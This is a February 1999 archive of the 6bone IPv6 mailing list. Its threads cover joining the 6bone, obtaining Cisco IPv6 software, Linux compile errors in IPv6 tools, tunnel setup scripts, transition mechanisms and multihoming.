Subject: RE: trying to join 6bone
Cc: 6bone <6bone@ISI.EDU>, "'Magnus Ahltorp'" <map@stacken.kth.se>,
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At 10:04 AM 2/8/99 -0500, Cung Nguyen wrote:
>What is the process to join 6Bone?  is there a site someplace I can look
>this information up?  Thanks

There is plenty of info on the <http://www.6bone.net> web pages, including
a Joining the 6bone document.

After you have read all this, please contact me directly if you more
questions to ask.


Thanks,

Bob


From 6bone-owner  Mon Feb  8 12:03:46 1999
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Date: Mon, 08 Feb 1999 12:03:38 -0800
To: Vitaly Chipitsyn <vchipitsyn@picard.cs.ohiou.edu>
From: Bob Fink <fink@es.net>
Subject: Re: Cisco IOS?
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Vitaly,

At 09:55 PM 2/7/99 -0500, Vitaly Chipitsyn wrote:
>Hello, everyone!
>
>We are in process of connecting Ohio University to the 6bone.
>We plan to use Cisco 2500 series router as an IPv6 connection point,
>but don't have the IOS that supports IPv6. Could anyone help us with
>this?

The Cisco IPv6 IOS code is available to registered CCO users at:

	<http://www.cisco.com/text/ipv6/download.html>

Now that I know this URL I will put ptrs on our various pages.


Thanks,

Bob

From 6bone-owner  Mon Feb  8 12:37:00 1999
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Date: Mon, 08 Feb 1999 12:36:39 -0800
To: 6REN List <6ren@es.net>, 6BONE List <6bone@ISI.EDU>,
        IPv6 Deployment Mail List <deployment@ipv6.org>
From: Bob Fink <fink@es.net>
Subject: A new page of implementations started
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Various IPv6 (non-IETF business) lists:

As I have finally found out how Cisco users (CCO in their parlance :-) can
get their Beta code fairly automatically, I have made a new page for
implemenations sourced on 6bone.net for now. Cisco's retrieval looks real
easy to use. Yes, I'm a Cisco customer, so have a cco account. 

Unfortunately, this page only has Cisco on it so far, so I think it
appropriate to get pointers to all implementations quickly. I have also
pointed on the IPng Implementations page as well.

Then the deploy list can add a pointer to it (or take it over if they
want). The 6ren home page has the new pointer on it as well.

	<http://www.6bone.net/implementations.html>


So, if implementors want to send me a url with a description line I'll put
them up.


Thanks,

Bob

From 6bone-owner  Mon Feb  8 12:51:54 1999
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From: "=?iso-8859-1?Q?Asbj=F8rn_Sannes?=" <ace@datafax.no>
To: <6bone@ISI.EDU>
Subject: Linux/compiling
Date: Mon, 8 Feb 1999 21:56:58 -0000
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Hi! I have been quite unlucky when trying to compile any ipv6
application/tool.

I have downloaded several of ipv6 applications to try, and I copied this
from a config.log file that said my system didn't support ipv6:

[output:]
checking for IPv6 kernel support... no

[config.log]
configure:1876: checking for IPv6 kernel support
configure:1898: gcc -o
conftest -O2 -g -O2 -Wall -D_REENTRANT -D_POSIX_PTHREAD_SEMANTICS -DFUNCPROT
O -I../../include -I/usr/local/i
configure:1889: warning: return-type defaults to `int'
/usr/local/lib/libc.so.6: undefined reference to
`_dl_object_relocation_scope'
/usr/local/lib/libc.so.6: undefined reference to `_dl_global_scope_end'
/usr/local/lib/libc.so.6: undefined reference to `_dl_default_scope'
configure: failed program was:
#line 1884 "configure"
#include "confdefs.h"
 /* AF_INET6 avalable check */
#include <sys/types.h>
#include <sys/socket.h>
main()
{
 if (socket(AF_INET6, SOCK_STREAM, 0) < 0)
   exit(1);
 else
   exit(0);
}

This is my settings:

RedHat 5.1 with:

kernel 2.2.1 with all the settings the FAQ describes.

bind-8.1.2

glibc-2.0.111-0.990127.i386.rpm
glibc-debug-2.0.111-0.990127.i386.rpm
glibc-devel-2.0.111-0.990127.i386.rpm
(tried several more ver. of glibc to see if it works)

Sorry for that paste, but I have been stuck for quite awhile!

--
ace


From 6bone-owner  Tue Feb  9 01:52:04 1999
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Date: Tue, 9 Feb 1999 10:51:54 +0100 (MET)
From: "Tesi TLC (G. MazzinI)" <tesi_tlc@ing240.unife.it>
To: 6bone <6bone@ISI.EDU>
Subject: telnet.95.10.23.....  
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Hello ! 

We are two students of Italian University
We use linux RedHat 5.2 kernel 2.1.126 with modutils 2.1.121.
We would to install ipv6 on our linux machine.
We are using the Bieriger's HOWTO !    
We compiled inet6-apps0.34 without problems (in apparence)
with glibc2.0.7 (we haven't shadow password )!
Than we used Bieringer's utility links6 for create links ! 

We have some problems to compile  telnet.95.10.23.NE+ipv6....
When we compile we have the following error :

make[3]:Entering directory '/usr/src/telnet.95.10.23.NE/telnet'
cc -g -DDBUG=1 ............
.....................
commands.c: In function 'tn' :
commands.c:2196: 'control_request' undeclared (first use this function)
commands.c:2196: (Each undeclared identifier is reported only once
commands.c:2196: for each function it appears in.)
commands.c:2196: 'control_requestlen' undeclared (first use this function)
make[3]: *** [commands.o] Error 1
make[3]: Leaving directory '/usr/src/telnet.95.10.23.NE/telnet'
make[2]: *** [linux] Error 2
make[2]: Leaving directory '/usr/src/telnet.95.10.23.NE/telnet'
make[1]: [linux] Error 2 (ignored)
make[1]: Leaving directory '/usr/src/telnet.95.10.23.NE/telnet'
cd telnetd; make XCFLAGS=............................
..................
We have problem to compile telnet but we haven't problems to compile
telnetd !

Does anyone knows this problem ?

Thanks

Luca & Giancarlo
  
 





From 6bone-owner  Tue Feb  9 08:54:56 1999
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Date: 	Tue, 9 Feb 1999 17:54:30 +0100
From: Rafal Maszkowski <rzm@icm.edu.pl>
To: "Tesi TLC (G. MazzinI)" <tesi_tlc@ing240.unife.it>
Cc: 6bone <6bone@ISI.EDU>
Subject: Re: telnet.95.10.23.....
Message-ID: <19990209175429.C25146@icm.edu.pl>
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In-Reply-To: <Pine.GSO.3.96.990209105110.28507A-100000@ing240.unife.it>; from Tesi TLC (G. MazzinI) on Tue, Feb 09, 1999 at 10:51:54AM +0100
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On Tue, Feb 09, 1999 at 10:51:54AM +0100, Tesi TLC (G. MazzinI) wrote:
> We are two students of Italian University
> We use linux RedHat 5.2 kernel 2.1.126 with modutils 2.1.121.

> We have some problems to compile  telnet.95.10.23.NE+ipv6....
> When we compile we have the following error :
> commands.c:2196: 'control_request' undeclared (first use this function)

I workarounded this problem by switching off NETSEC define, see
ftp://sunsite.icm.edu.pl/private/rzm/ipv6/inet6-apps-0.34+.diff
There some other patches there too.

R.

From 6bone-owner  Tue Feb  9 09:44:07 1999
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From: "Tesi TLC (G. MazzinI)" <tesi_tlc@ing240.unife.it>
To: 6bone <6bone@ISI.EDU>
Subject: ipv6 kernel panic
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Hello ! 

We are two students of Italian University !
We work with 2 pc (named : ing209 and ing216) over ATM network (IBM 8285
switch and turboways 25 pci card) with LAN emulation !
We use linux RedHat 5.2 kernel 2.1.126 with modutils 2.1.121 and
glibc2.0.7.
We would to install ipv6 on our linux machines.
We are using the Bieriger's HOWTO !    
On ing209 and ing216 we compiled inet6-apps0.34 and 
telnet.95.10.23.NE+ipv6-3 without problems (in apparence)

On ing209 we installed net-tools1.50 (with glibc2.0.7)
On ing216 we installed net-tools1.49 (with glibc2.1.111 rpm) and
we configutated interface (in ing216) in this way :

lec0   Link encap:Ethernet   HWaddr  00:04:ac:6c:e8:5c
       inet addr:xxx.xxx.xxx.216  Bcast:xxx.xxx.xxx.255 Mask:255.255.255.0
       inet6 addr: fe80::204:acff:fe6c:e85c/10 Scope:Link
       UP BROADCAST RUNNING MULTICAST    MTU:1500  Metric:1
       RX packets ...............
       TX packets ............
       collision..............

lo     Link encap:Local Loopback
       inet addr:127.000.000.1  Mask:255.0.0.0
       inet6 addr:  ::1/128  Scope:Host
       UP LOOPBACK RUNNING  MTU:3924    METRIC:1
       RX packets.................
       TX packets.................
       collision .............

When we do (from ing216 to ing216) :
ping fe80::204:acff:fe6c:e85c
we haven't problem !

When we do (from ing209 to ing216) :
ping fe80::204:acff:fe6c:e85c

ing216 goes in kernel panic :-((((   !
  
Does anyone knows this problem ?
It happens because we work over ATM LAN emulation or other ?

Thanks

Luca & Giancarlo
  
 







From 6bone-owner  Tue Feb  9 11:12:19 1999
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From: "Tim Larder" <tim.larder@virgin.net>
To: <6bone@ISI.EDU>
Subject: Transition
Date: Tue, 9 Feb 1999 19:09:37 -0000
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Hi,
I have been reading through the relevent RFCs on migration and deployment
methods for IPv6. I was wondering in the future when IPv4 addresses have
completely run out, how will it be possible for a small organisation only
using IPv6 (because they are unable to be assigned any IPv4 addresses) to
communicate with IPv4 only nodes.
Also, why should IPv6 over IPv4 tunneling be used as opposed to using dual
stack nodes, using IPv4 when packets are required to be sent through IPv4
routers or networks ? Is tunneling used to maintain functionality of IPv6
packets when they reach the end node ?
Thanks
Tim


From 6bone-owner  Wed Feb 10 11:54:14 1999
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Date: Wed, 10 Feb 1999 19:50:53 +0000
To: "Tim Larder" <tim.larder@virgin.net>
From: Peter Curran <pcurran@ticl.co.uk>
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Tim

Hope I can answer a couple of your questions (they are good ones, by the
way :-)


>I have been reading through the relevent RFCs on migration and deployment
>methods for IPv6. I was wondering in the future when IPv4 addresses have
>completely run out, how will it be possible for a small organisation only
>using IPv6 (because they are unable to be assigned any IPv4 addresses) to
>communicate with IPv4 only nodes.

Good question!  The simple answer is that you will not be able to talk to
v4 nodes without at least one v4 address.  There are a number of
translation strategies around that will work with a single v4 address for
most common requirements:
	NAT-PT
	Socks
	Application Layer Gateways

Suggest you browse the ngtrans section of the i-d directory at ietf.org for
details on some of these.


>Also, why should IPv6 over IPv4 tunneling be used as opposed to using dual
>stack nodes, using IPv4 when packets are required to be sent through IPv4
>routers or networks ? Is tunneling used to maintain functionality of IPv6
>packets when they reach the end node ?

You question above answers this, to a degree.  To use dual-stack across the
board implies that all hosts have to have a v4 and a v6 address.  The
purpose of the tunneling is largely to provide connectivity between islands
of v6 across the v4 internet (the 6bone being an excellent example of this).  

As addresses become scarser, the simplistic dual-stack approach will simply
not scale.  Some sort of translation device that can service multiple v6
users from a small number of v4 addresses will be essential.  A lot of work
is going on in this area, and there are now a number of different internet
drafts out suggesting different approaches.  Many of these overlap in terms
of function and operation.  The NGTRANS WG agreed, last week, in Grenoble
to try and come up with some sort of roadmap to identify the way these
mechanisms can be deployed and what circumstances are appropriate for the
use of each mechanism.....hopefully a reasonably comprehensive set of
guidance will be forthcoming soon.

Hope this helps.

Cheers

Peter


==============================================================
Peter Curran			pcurran@ticl.co.uk    http://www.ticl.co.uk
Consultant and Author
PGP key available from http://wwwkeys.uk.pgp.net:11371 or
ldap://certserver.pgp.com
PubKey Fingerprint =  5F94 D9A9 45EC 40A7 FB24  18BE 9C2E 74D6 E051 7F1F
===============================================================


From 6bone-owner  Wed Feb 10 16:45:12 1999
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Date: Wed, 10 Feb 1999 16:44:55 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: new 6bone pTLA 3FFE:3600::/24 assigned to CHTTL-TW
Cc: Bill Manning <bmanning@ISI.EDU>, Yann-Ju Chu <yjchui@ms.chttl.com.tw>
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6bone Folk,

I'm pleased to announce the assignment of pTLA 3FFE:3600::/24 to CHTTL-TW,
the Chunghwa Telecommunication Company Telecommunication Laboratories of
Taiwan.

	<http://www.isi.edu/cgi-bin/davidk/whois.pl?chttl-tw>


Please assist them in setting up their backbone peerings, etc.


Thanks,

Bob


From 6bone-owner  Thu Feb 11 06:13:31 1999
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Date: Thu, 11 Feb 1999 15:13:22 +0000
From: Projekt Ipv6 <ipv6@gmx.de>
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Hello !

We are two german students and work on a projekt about IPv6.
We use S.U.S.E Linux 6.0, Kernel 2.1.131 and gcc Ver.2.7.2.3-5 without
modutils.We are using the Bieriger's HOWTO and got now a problem
installing Bind-8.1.2 with the following error message:

make[2]: Entering directory `/usr/src/bind-8.1.2/bin/addr'
gcc -O -g  -o addr addr.o \
 ../../lib/libbind.a -lfl
/usr/i486-linux/bin/ld: cannot open -lfl: No such file or directory
make[2]: *** [addr] Error 1
make[2]: Leaving directory `/usr/src/bind-8.1.2/bin/addr'
make[1]: *** [addr] Error 2
make[1]: Leaving directory `/usr/src/bind-8.1.2/bin'
make: *** [all] Error 2

It seems like that gcc doesn´t know the option -lfl



Thanks

Detlef Bruns
Dietmar Saathoff



From 6bone-owner  Thu Feb 11 06:23:00 1999
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To: ngtrans@sunroof.Eng.Sun.COM
CC: ipng@sunroof.Eng.Sun.COM, 6bone@ISI.EDU, bound@zk3.dec.com,
        deployment@ipv6.org, USER-IPV6 <users@ipv6.org>
Subject: Re: (ngtrans) V6 Deployment Work and Mail List Activity
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Jim , Perry

I'm a little confused ....clarifications
requested.

Jim Bound wrote:

> To request being on the IPv6 deployment workers list send mail
> to
> deployment@ipv6.org.  Somone will respond to you.
>

Perry wrote :

> The mailing list, users@ipv6.org, may be subscribed to by
> sending mail
> to majordomo@ipv6.org with the words "subscribe users" in the
> body of
> the message.
>

DO I read two seperate lists here : deployment@ipv6.org
andusers@ipv6.org ?? are there two different lists here, if so
whats the
difference ??

/pete
ps. I subscribed to users.. should I also subcribe to deployment
??



From 6bone-owner  Thu Feb 11 07:19:00 1999
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From: Robert Rockell <rrockell@sprint.net>
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To: 6bone@ISI.EDU
Subject: IPv6 Multihoming
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Is there any concentrated effort going on at present to tackle the
multi-homing problem wiht IPv6, with respect to it's collision with routing
policies (i.e. you dual-assign, or you announce de-aggregates; the former
breaks TCP, the latter breaks routing tables)? 

Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833
Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?


From 6bone-owner  Thu Feb 11 08:29:47 1999
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From: Francis Dupont <Francis.Dupont@inria.fr>
To: Robert Rockell <rrockell@sprint.net>
cc: 6bone@ISI.EDU
Subject: Re: IPv6 Multihoming 
In-reply-to: Your message of Thu, 11 Feb 1999 10:18:54 EST.
             <Pine.GSO.3.95.990211101640.9370B-100000@iscserv.res.sprintlink.net> 
Date: Thu, 11 Feb 1999 17:29:39 +0100
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 In your previous mail you wrote:

   Is there any concentrated effort going on at present to tackle the
   multi-homing problem wiht IPv6, with respect to it's collision with routing
   policies (i.e. you dual-assign, or you announce de-aggregates; the former
   breaks TCP, the latter breaks routing tables)? 
   
=> there are many works about multi-homing, both for multi-homed nodes
(interface selection, shared link detection, route optimization, ...)
and multi-homed sites (aggregation, routing policies, source address
selection, ...) but in (expired or unpublished) Internet drafts.
The current idea is to dual assign because aggregation is more than
important but this doesn't solve everything (as you believe :-).

Regards

Francis.Dupont@inria.fr

From 6bone-owner  Thu Feb 11 08:51:19 1999
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From: "=?iso-8859-1?Q?Asbj=F8rn_Sannes?=" <ace@datafax.no>
To: <6bone@ISI.EDU>
Subject: Using a tunnel/Linux
Date: Thu, 11 Feb 1999 17:56:30 -0000
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Hi! I got so much respons (which helped me out quite a lot of trouble,
thanks!) here last time I asked a question so.. here is another one :

I've got a tunnel to my Linux box, I just can't get it working..

This the info I got :

Tunnel end (their side) : 195.159.0.16
IPv6 address I should use on my IPv6 tunnel interface:
3ffe:1108:403:7005::2/64

I looked around and tought this script would start it up correctly:

# Your IPv6 prefix
PREFIX=3FFE:1108:403:7005
# The host-part of the IPv6 address for this machine
ADDRESS=2
# The IPv4 address of the far side of your tunnel
TUNNEL=195.159.0.16

echo 0 > /proc/sys/net/ipv6/conf/all/autoconf
echo 0 > /proc/sys/net/ipv6/conf/all/accept_ra
echo 0 > /proc/sys/net/ipv6/conf/all/accept_redirects
echo 1 > /proc/sys/net/ipv6/conf/all/forwarding
echo 0 > /proc/sys/net/ipv6/conf/all/router_solicitations

ifconfig eth0 add $PREFIX::$ADDRESS/64
route -A inet6 add $PREFIX::0/64 dev eth0
ifconfig sit0 up tunnel ::$TUNNEL
ifconfig sit1 up
route -A inet6 add 3ffe::0/15 gw fe80::$TUNNEL dev sit1

--

I would appricate it if someone told me what was wrong with it, since I am
quite unexperienced with this.

Greetings
Asbjørn Sannes
ace @ Efnet

BTW: Thanks for all the respons on my last question, it worked out great! :)


From 6bone-owner  Thu Feb 11 13:28:33 1999
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From: "=?iso-8859-1?Q?Asbj=F8rn_Sannes?=" <ace@datafax.no>
To: <pb@bieringer.de>, <6bone@ISI.EDU>
Subject: Re: Using a tunnel/Linux
Date: Thu, 11 Feb 1999 22:33:50 -0000
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>Which side of the tunnel won't work? Can you dump IPv6-in-IPv4-packages
>with tcpdump on both hosts?
>Try to ping the hosts each other and look for packages. Perhaps it's a
>one-way-problem.


Hmm.. it suddently works.. not knowing why or what I did, I leave it to
that.. thank you very much.. :)  .. that's accually pretty strange because I
have been testing for hours.. and now the settings I said works..

Ping me if you like, : 3ffe:1108:403:7005::2

--
ace


From 6bone-owner  Thu Feb 11 14:01:36 1999
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Date: Thu, 11 Feb 1999 17:06:51 -0500
From: John El-Rassi <jelrassi@home.com>
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To: 6bone@ISI.EDU
Subject: need help in compiling inet6-apps0.35
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Hi there

I am trying to compile the inet6-apps-0.35 with no success (as we
earlier versions i've tried 0.30  and 0.34 no luck)

however net-tools -1.50  with ipv6 support compiled almost seamlessly.

I'm using a Linux box  Stampede Distro. with kernel 2.2.1  and glibc-2.1
(not a pre release but the recently released one)

i've tried all the patches with different setups, as described in the
howto at  www.bieringer.de to no avail. sorry to include
all the output of make but i thought it might be a clue into what i'm
doing wrong or not doing ..

the GNUmakefile.config has the following:
OS=Linux
LIBCAPI=1
LIBRESOLV=
RESOLVINC=
LIBCRYPT=

(there's more but i thought this is all that is of importance? !)

let me know. thanks and sorry for all the garbage. :) don't read beyond
this point as it's only how i envoked make clean then make
and it's output which i thought might clue someone to my erros

then i do a make clean.



then a make which prints out the following:



bash-2.02# make
make[1]: Entering directory `/usr/src/inet6-apps-0.35/lib'
cc  -I../include  -I. -DINET6=1  -DFASTCTO=10 -c addrcmp.c
cc  -I../include  -I. -DINET6=1  -DFASTCTO=10 -c misc.c
cc  -I../include  -I. -DINET6=1  -DFASTCTO=10 -c connect.c
a - addrcmp.o
a - misc.o
a - connect.o
make[1]: Leaving directory `/usr/src/inet6-apps-0.35/lib'
make[1]: Entering directory `/usr/src/inet6-apps-0.35/etc'
make[1]: Leaving directory `/usr/src/inet6-apps-0.35/etc'
make[1]: Entering directory `/usr/src/inet6-apps-0.35/finger'
cc -I../include  -DINET6=1    -c finger.c -o finger.o
finger.c: In function `loginlist':
finger.c:197: `R_FIRST' undeclared (first use in this function)
finger.c:197: (Each undeclared identifier is reported only once
finger.c:197: for each function it appears in.)
finger.c:197: `R_NEXT' undeclared (first use in this function)
finger.c:200: structure has no member named `seq'
finger.c: In function `userlist':
finger.c:284: `R_FIRST' undeclared (first use in this function)
finger.c:284: `R_NEXT' undeclared (first use in this function)
finger.c:287: structure has no member named `seq'
make[1]: *** [finger.o] Error 1
make[1]: Leaving directory `/usr/src/inet6-apps-0.35/finger'
make[1]: Entering directory `/usr/src/inet6-apps-0.35/fingerd'
cc -I../include  -DINET6=1 -D_PATH_FINGER=\"/usr/inet6/bin/finger\"   -c
fingerd.c -o fingerd.o
fingerd.c: In function `main':
fingerd.c:83: storage size of `su' isn't known
fingerd.c:146: warning: assignment makes pointer from integer without a
cast
fingerd.c:169: warning: assignment makes pointer from integer without a
cast
make[1]: *** [fingerd.o] Error 1
make[1]: Leaving directory `/usr/src/inet6-apps-0.35/fingerd'
make[1]: Entering directory `/usr/src/inet6-apps-0.35/ftp'
cc -I../include  -DINET6=1  -DINNER=1   -c ftp.c -o ftp.o
ftp.c: In function `hookup':
ftp.c:218: sizeof applied to an incomplete type
ftp.c:226: invalid use of undefined type `union sockaddr_union'
ftp.c: In function `initconn':
ftp.c:1095: invalid use of undefined type `union sockaddr_union'
ftp.c:1158: invalid use of undefined type `union sockaddr_union'
ftp.c:1158: invalid use of undefined type `union sockaddr_union'
ftp.c:1228: invalid use of undefined type `union sockaddr_union'
ftp.c:1245: invalid use of undefined type `union sockaddr_union'
ftp.c:1247: invalid use of undefined type `union sockaddr_union'
ftp.c:1250: invalid use of undefined type `union sockaddr_union'
ftp.c:1253: invalid use of undefined type `union sockaddr_union'
ftp.c:1258: invalid use of undefined type `union sockaddr_union'
ftp.c:1320: sizeof applied to an incomplete type
ftp.c:1351: invalid use of undefined type `union sockaddr_union'
ftp.c:1351: invalid use of undefined type `union sockaddr_union'
ftp.c:1427: invalid use of undefined type `union sockaddr_union'
ftp.c: In function `dataconn':
ftp.c:1449: storage size of `from' isn't known
ftp.c: In function `pswitch':
ftp.c:1540: field `mctl' has incomplete type
ftp.c:1541: field `hctl' has incomplete type
ftp.c: At top level:
ftp.c:87: storage size of `hisctladdr' isn't known
ftp.c:88: storage size of `data_addr' isn't known
ftp.c:89: storage size of `myctladdr' isn't known
make[1]: *** [ftp.o] Error 1
make[1]: Leaving directory `/usr/src/inet6-apps-0.35/ftp'
make[1]: Entering directory `/usr/src/inet6-apps-0.35/ftpd'
cc -I../include  -DINET6=1  -DINNER=1 -DSETPROCTITLE   -c ftpd.c -o
ftpd.o
ftpd.c: In function `main':
ftpd.c:259: sizeof applied to an incomplete type
ftpd.c:264: sizeof applied to an incomplete type
ftpd.c:271: invalid use of undefined type `union sockaddr_union'
ftpd.c:282: invalid use of undefined type `union sockaddr_union'
ftpd.c:284: invalid use of undefined type `union sockaddr_union'
ftpd.c:284: invalid use of undefined type `union sockaddr_union'
ftpd.c:287: invalid use of undefined type `union sockaddr_union'
ftpd.c:287: invalid use of undefined type `union sockaddr_union'
ftpd.c:290: invalid use of undefined type `union sockaddr_union'
ftpd.c:293: invalid use of undefined type `union sockaddr_union'
ftpd.c:298: invalid use of undefined type `union sockaddr_union'
ftpd.c: In function `pass':
ftpd.c:649: warning: assignment makes pointer from integer without a
cast
ftpd.c: In function `getdatasock':
ftpd.c:920: invalid use of undefined type `union sockaddr_union'
ftpd.c:988: invalid use of undefined type `union sockaddr_union'
ftpd.c: In function `dataconn':
ftpd.c:1026: storage size of `from' isn't known
ftpd.c: In function `passive':
ftpd.c:1724: sizeof applied to an incomplete type
ftpd.c: At top level:
ftpd.c:113: storage size of `ctrl_addr' isn't known
ftpd.c:114: storage size of `data_source' isn't known
ftpd.c:115: storage size of `data_dest' isn't known
ftpd.c:116: storage size of `his_addr' isn't known
ftpd.c:117: storage size of `pasv_addr' isn't known
make[1]: *** [ftpd.o] Error 1
make[1]: Leaving directory `/usr/src/inet6-apps-0.35/ftpd'
make[1]: Entering directory `/usr/src/inet6-apps-0.35/include'
make[1]: Leaving directory `/usr/src/inet6-apps-0.35/include'
make[1]: Entering directory `/usr/src/inet6-apps-0.35/inetd'
cc -I../include  -DINET6=1  -I/usr/include -DOFFSETPORT=9000   -c
inetd.c -o inetd.o
In file included from inetd.c:197:
/usr/include/bsd/signal.h:15: warning: `sv_onstack' redefined
/usr/include/signal.h:275: warning: this is the location of the previous
definition
inetd.c:248: field `se_ctrladdr' has incomplete type
inetd.c: In function `main':
inetd.c:387: incompatible types in assignment
inetd.c: In function `inetd_setproctitle':
inetd.c:1146: storage size of `sa' isn't known
make[1]: *** [inetd.o] Error 1
make[1]: Leaving directory `/usr/src/inet6-apps-0.35/inetd'
make[1]: Entering directory `/usr/src/inet6-apps-0.35/man'
make[1]: Nothing to be done for `all'.
make[1]: Leaving directory `/usr/src/inet6-apps-0.35/man'
make[1]: Entering directory `/usr/src/inet6-apps-0.35/misc'
cc -I../include  -DINET6=1  -DFASTCTO=10   -c gendata.c -o gendata.o
cc   gendata.o -L../lib -linet6   -o gendata
cc -I../include  -DINET6=1  -DFASTCTO=10   -c socktest.c -o socktest.o
cc   socktest.o -L../lib -linet6   -o socktest
make[1]: Leaving directory `/usr/src/inet6-apps-0.35/misc'
make[1]: Entering directory `/usr/src/inet6-apps-0.35/ping'
cc -I../include  -DINET6=1    -c ping.c -o ping.o
ping.c:171: netinet/ipv6.h: No such file or directory
ping.c:172: netinet/icmpv6.h: No such file or directory
make[1]: *** [ping.o] Error 1
make[1]: Leaving directory `/usr/src/inet6-apps-0.35/ping'
make[1]: Entering directory `/usr/src/inet6-apps-0.35/tftp'
cc -I../include  -DINET6=1   -c tftp.c -o tftp.o
cc -I../include  -DINET6=1   -c main.c -o main.o
cc -I../include  -DINET6=1   -c tftpsubs.c -o tftpsubs.o
cc   tftp.o main.o tftpsubs.o -L../lib -linet6   -o tftp
make[1]: Leaving directory `/usr/src/inet6-apps-0.35/tftp'



From 6bone-owner  Thu Feb 11 16:13:30 1999
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From: Justin Lipman <jl06@uow.edu.au>
Message-Id: <199902120012.LAA18270@wumpus.its.uow.edu.au>
Subject: Re: Using a tunnel/Linux
To: ace@datafax.no (=?iso-8859-1?Q?Asbj=F8rn_Sannes?=)
Date: Fri, 12 Feb 1999 11:12:55 +1100 (EST)
Cc: 6bone@ISI.EDU
In-Reply-To: <001501be55e7$db15d500$010a0a0a@ace.sannes.org> from "[Asbj_rn Sannes]" at "Feb 11, 99 05:56:30 pm"
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Hi there,

Ive been fighting with the same problem without any sucess.

When I do a tcp dump on my outgoing port while pinging.
I am able to see the packets going out. An occasional packet comes back, 
but nothing happens.

Dont supposed anybody could explain the mechanics behind the tunnelling - as
far as setup & configuration is concerned???

Goodluck,
Justin

> I've got a tunnel to my Linux box, I just can't get it working..
> 
> This the info I got :
> 
> Tunnel end (their side) : 195.159.0.16
> IPv6 address I should use on my IPv6 tunnel interface:
> 3ffe:1108:403:7005::2/64
> 
> I looked around and tought this script would start it up correctly:
> 
> # Your IPv6 prefix
> PREFIX=3FFE:1108:403:7005
> # The host-part of the IPv6 address for this machine
> ADDRESS=2
> # The IPv4 address of the far side of your tunnel
> TUNNEL=195.159.0.16
> 
> echo 0 > /proc/sys/net/ipv6/conf/all/autoconf
> echo 0 > /proc/sys/net/ipv6/conf/all/accept_ra
> echo 0 > /proc/sys/net/ipv6/conf/all/accept_redirects
> echo 1 > /proc/sys/net/ipv6/conf/all/forwarding
> echo 0 > /proc/sys/net/ipv6/conf/all/router_solicitations
> 
> ifconfig eth0 add $PREFIX::$ADDRESS/64
> route -A inet6 add $PREFIX::0/64 dev eth0
> ifconfig sit0 up tunnel ::$TUNNEL
> ifconfig sit1 up
> route -A inet6 add 3ffe::0/15 gw fe80::$TUNNEL dev sit1
> 
> --
> 
> I would appricate it if someone told me what was wrong with it, since I am
> quite unexperienced with this.



From 6bone-owner  Thu Feb 11 19:13:00 1999
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To: John El-Rassi <jelrassi@home.com>
cc: 6bone@ISI.EDU
Subject: Re: need help in compiling inet6-apps0.35 
In-reply-to: Your message of "Thu, 11 Feb 1999 17:06:51 EST."
             <36C3547A.CA661D7D@home.com> 
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Date: Thu, 11 Feb 1999 22:11:38 -0500
From: Craig Metz <cmetz@inner.net>
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In message <36C3547A.CA661D7D@home.com>, you write:
>I am trying to compile the inet6-apps-0.35 with no success (as we
>earlier versions i've tried 0.30  and 0.34 no luck)

  If you're having trouble with inet6-apps, you might be well served to follow
the directions in the documentation under "If you have problems."

  The short answer is: inet6-apps is written for glibc 2.0, not glibc 2.1. The
two currently do not coexist. This will change as soon as I can get glibc 2.1
on my system (not too hard) and some free time (which might be the problem).

									-Craig

From 6bone-owner  Thu Feb 11 22:28:30 1999
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From: Stig Venaas <venaas@itea.ntnu.no>
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Date: Fri, 12 Feb 1999 07:31:34 +0100
To: John El-Rassi <jelrassi@home.com>, 6bone@ISI.EDU
Subject: Re: need help in compiling inet6-apps0.35
References: <36C3547A.CA661D7D@home.com>
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On Thu, Feb 11, 1999 at 05:06:51PM -0500, John El-Rassi wrote:
> Hi there
> 
> I am trying to compile the inet6-apps-0.35 with no success (as we
> earlier versions i've tried 0.30  and 0.34 no luck)
> 
> however net-tools -1.50  with ipv6 support compiled almost seamlessly.
> 
> I'm using a Linux box  Stampede Distro. with kernel 2.2.1  and glibc-2.1
> (not a pre release but the recently released one)
> 
> i've tried all the patches with different setups, as described in the
> howto at  www.bieringer.de to no avail. sorry to include
> all the output of make but i thought it might be a clue into what i'm
> doing wrong or not doing ..

I had this problem too. I've made a patch that works for me at least.
You can get it from ftp.nvg.ntnu.no/venaas/inet6-apps-0.35-glibc.dif.

Stig

-- 
Stig Venås                      Tel:    +47 73 59 53 29
NTNU				Fax:    +47 73 59 80 98
ITEA/Nett, Prof. Brochs g. 6
N-7034 Trondheim, Norway	E-mail: venaas@itea.ntnu.no

From 6bone-owner  Fri Feb 12 08:25:54 1999
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From: "Tim Larder" <tim.larder@virgin.net>
To: <6bone@ISI.EDU>
Subject: Re: Transition
Date: Fri, 12 Feb 1999 16:08:44 -0000
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Hi,
>Application Proxy
I was just wondering if anyone knew of any practical implementations of the
above. I want to try and find out what sort of processing time would be
required for converting each packet using one of these devices on the border
of your network rather than say a header converter.
Thanks
Tim


From 6bone-owner  Fri Feb 12 14:26:11 1999
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From: Stig Venaas <venaas@itea.ntnu.no>
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Date: Fri, 12 Feb 1999 23:29:12 +0100
To: John El-Rassi <jelrassi@home.com>, 6bone@ISI.EDU
Subject: Re: need help in compiling inet6-apps0.35
References: <36C3547A.CA661D7D@home.com> <19990212073134.A18670@itea.ntnu.no>
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On Fri, Feb 12, 1999 at 07:31:34AM +0100, Stig Venaas wrote:
> 
> I had this problem too. I've made a patch that works for me at least.
> You can get it from ftp.nvg.ntnu.no/venaas/inet6-apps-0.35-glibc.dif.

I testet the patch with glibc-2.0.109 and I assumed that it would work
also with the glibc-2.1 release. Well, guess what, it doesn't. Sorry.

It turns out that union sockaddr_union is gone in glibc-2.1.
The quick and dirty fix is to add the following at the bottom of
include/support.h in inet6-apps-0.35. Just add something like:

#if defined __GLIBC__ && __GLIBC__ >= 2
union sockaddr_union
{
    struct sockaddr sa;
    struct sockaddr_in sin;
    struct sockaddr_in6 sin6;
    char __maxsize[128];
};
#endif /* defined __GLIBC__ && __GLIBC__ >= 2 */

Does anyone know if sockaddr_union is deprecated? I'm wondering if the
correct fix is to get sockaddr_union into the glibc include files, or
if one should change the application code.

I guess I'm getting a bit off topic here, sorry.

Stig

-- 
Stig Venås                      Tel:    +47 73 59 53 29
NTNU				Fax:    +47 73 59 80 98
ITEA/Nett, Prof. Brochs g. 6
N-7034 Trondheim, Norway	E-mail: venaas@itea.ntnu.no

